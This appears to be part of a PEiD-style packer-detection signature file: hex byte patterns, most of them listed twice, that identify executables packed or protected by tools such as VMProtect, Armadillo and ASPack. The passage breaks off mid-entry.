+ +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 52 52 9C 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 56 57 52 55 51 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3 +ep_only = true + +[*** Protector v1.1.11 (DDeM->PE Engine v0.9, DDeM->CI v0.9.2)] +signature = 53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04 +ep_only = true + +[*** Protector v1.1.11 (DDeM->PE Engine v0.9, DDeM->CI v0.9.2)] +signature = 53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04 +ep_only = true + +[.NET executable] +signature = FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +ep_only = true + +[ACProtect 1.4x -> RISCO soft] +signature = 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 +ep_only = false + +[ACProtect 1.4x -> RISCO soft] +signature = 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 +ep_only = false + +[ActiveMARK 5.x -> Trymedia Systems,Inc. (h)] +signature = 20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 +ep_only = false + +[ActiveMARK 5.x -> Trymedia Systems,Inc. (h)] +signature = 20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 +ep_only = false + +[AHpack 0.1 -> FEUERRADER (h)] +signature = 60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 +ep_only = true + +[AHpack 0.1 -> FEUERRADER (h)] +signature = 60 68 54 ?? ?? ?? B8 48 ?? ?? ?? FF 10 68 B3 ?? ?? ?? 50 B8 44 ?? ?? ?? FF 10 68 00 ?? ?? ?? 6A 40 FF D0 89 05 CA ?? ?? ?? 89 C7 BE 00 10 ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 +ep_only = true + +[Alex Protector 1.0 beta 2 by Alex] +signature = 60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 +ep_only = false + +[Alex Protector 1.0 beta 2 by Alex] +signature = 60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B 44 24 0C EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 83 80 B8 00 00 00 02 33 C0 EB 01 E9 C3 58 83 C4 04 EB 03 EB 03 C7 EB FB E8 01 00 00 00 A8 83 C4 04 50 64 FF 35 00 00 00 00 64 89 25 +ep_only = false + +[Alex Protector v0.4 beta 1 by Alex] +signature = 60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 +ep_only = false + +[Alex Protector v0.4 beta 1 by Alex] +signature = 60 E8 01 00 00 00 C7 83 C4 04 33 C9 E8 01 00 00 00 68 83 C4 04 E8 01 00 00 00 68 83 C4 04 B9 ?? 00 00 00 E8 01 00 00 00 68 83 C4 04 E8 00 00 00 00 E8 01 00 00 00 C7 83 C4 04 8B 2C 24 83 C4 04 E8 01 00 00 00 A9 83 C4 04 81 ED 3C 13 40 00 E8 01 00 00 00 68 +ep_only = false + +[ARM Protector v0.1 by SMoKE] +signature = E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 +ep_only = false + +[ARM Protector v0.1 by SMoKE] +signature = E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 +ep_only = false + +[Armadillo 3.00a -> Silicon Realms Toolworks] +signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F +ep_only = true + +[Armadillo 3.00a -> Silicon Realms Toolworks] +signature = 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F +ep_only = true + +[Armadillo 4.30a -> Silicon Realms Toolworks (h)] +signature = 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 +ep_only = false + +[Armadillo 4.30a -> Silicon Realms Toolworks (h)] +signature = 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43 +ep_only = false + +[Armadillo 4.40 -> Silicon Realms Toolworks (h)] +signature = 31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 +ep_only = false + +[Armadillo 4.40 -> Silicon Realms Toolworks (h)] +signature = 31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 +ep_only = false + +[Armadillo v1.60a] +signature = 55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.60a] +signature = 55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.77] +signature = 55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.77] +signature = 55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.80] +signature = 55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.80] +signature = 55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.82] +signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.82] +signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.83] +signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.83] +signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.84] +signature = 55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.84] +signature = 55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90] +signature = 55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90] +signature = 55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90a] +signature = 55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90a] +signature = 55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b1] +signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b1] +signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b2] +signature = 55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b2] +signature = 55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b3] +signature = 55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b3] +signature = 55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b4] +signature = 55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90b4] +signature = 55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90c] +signature = 55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v1.90c] +signature = 55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.00] +signature = 55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.00] +signature = 55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.00b2-2.00b3] +signature = 55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.00b2-2.00b3] +signature = 55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.01] +signature = 55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.01] +signature = 55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.10b2] +signature = 55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.10b2] +signature = 55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.20] +signature = 55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.20] +signature = 55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.20b1] +signature = 55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.20b1] +signature = 55 8B EC 6A FF 68 30 12 41 00 68 A4 A5 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 +ep_only = true + +[Armadillo v2.50] +signature = 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0 +ep_only = true + +[Armadillo v2.50] +signature = 55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0 +ep_only = true + +[Armadillo v2.53] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89 +ep_only = true + +[Armadillo v2.53] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 40 ?? ?? ?? ?? 68 54 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF ?? ?? ?? 15 58 33 D2 8A D4 89 +ep_only = true + +[Armadillo v2.5x - v2.6x] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC +ep_only = true + +[Armadillo v2.5x - v2.6x] +signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC +ep_only = true + +[Armadillo v3.00] +signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 +ep_only = true + +[Armadillo v3.00] +signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 +ep_only = true + +[Armadillo v3.00a] +signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB +ep_only = true + +[Armadillo v3.00a] +signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB +ep_only = true + +[Armadillo v3.xx] +signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 +ep_only = true + +[Armadillo v3.xx] +signature = 60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 +ep_only = true + +[ASPack v1.00b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44 +ep_only = true + +[ASPack v1.00b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 92 1A 44 ?? B8 8C 1A 44 ?? 03 C5 2B 85 CD 1D 44 ?? 89 85 D9 1D 44 ?? 80 BD C4 1D 44 +ep_only = true + +[ASPack v1.01b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44 +ep_only = true + +[ASPack v1.01b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44 +ep_only = true + +[ASPack v1.02a] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF +ep_only = true + +[ASPack v1.02a] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 3E D9 43 ?? B8 38 ?? ?? ?? 03 C5 2B 85 0B DE 43 ?? 89 85 17 DE 43 ?? 80 BD 01 DE 43 ?? ?? 75 15 FE 85 01 DE 43 ?? E8 1D ?? ?? ?? E8 79 02 ?? ?? E8 12 03 ?? ?? 8B 85 03 DE 43 ?? 03 85 17 DE 43 ?? 89 44 24 1C 61 FF +ep_only = true + +[ASPack v1.02b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43 +ep_only = true + +[ASPack v1.02b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43 +ep_only = true + +[ASPack v1.03b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43 +ep_only = true + +[ASPack v1.03b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED AE 98 43 ?? B8 A8 98 43 ?? 03 C5 2B 85 18 9D 43 ?? 89 85 24 9D 43 ?? 80 BD 0E 9D 43 +ep_only = true + +[ASPack v1.05b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44 +ep_only = true + +[ASPack v1.05b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44 +ep_only = true + +[ASPack v1.061b] +signature = 60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 